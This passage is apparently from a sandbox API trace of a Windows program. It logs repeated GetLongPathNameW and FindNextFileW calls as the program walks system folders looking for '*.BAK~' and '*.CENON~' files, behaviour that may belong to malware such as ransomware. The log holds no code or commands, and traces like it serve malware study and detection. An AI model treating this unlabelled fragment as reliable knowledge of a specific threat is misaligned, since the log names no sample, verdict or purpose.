lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.750] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.751] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.751] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.751] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.756] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.757] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.757] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.758] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.758] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.758] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.764] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.764] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.765] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.765] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.766] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.766] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.772] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.772] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.773] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.773] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.774] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.777] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.777] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.784] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.785] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.786] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.786] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.787] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.849] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.849] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.850] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.851] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.851] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.851] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.851] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.851] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.851] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.857] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.857] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.858] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.858] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.859] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.859] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.866] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.866] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.867] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.867] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.868] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.868] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.873] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.873] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.874] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.874] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.875] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.875] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.881] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.881] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.882] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.882] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae030, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 1 [0114.883] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae2a0 | out: lpFindFileData=0x1ae2a0) returned 0 [0114.890] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.890] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.891] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.891] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adf90, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.892] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 1 [0114.893] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae200 | out: lpFindFileData=0x1ae200) returned 0 [0114.901] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.901] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.902] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.902] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.903] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.904] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 0 [0114.910] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.910] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.911] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.912] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.912] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.912] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.912] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.912] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.919] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.919] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.921] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.921] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.922] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.923] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.923] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.923] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.923] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.929] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.929] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.930] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.930] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.931] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.937] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.939] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ade50, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.939] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.939] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.939] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.939] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.940] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.940] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 1 [0114.940] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae0c0 | out: lpFindFileData=0x1ae0c0) returned 0 [0114.948] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.948] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.949] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adef0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: hFindFile=0x1ac59bc0, lpFindFileData=0x1ae160 | out: lpFindFileData=0x1ae160) returned 1 [0114.950] FindNextFileW (in: 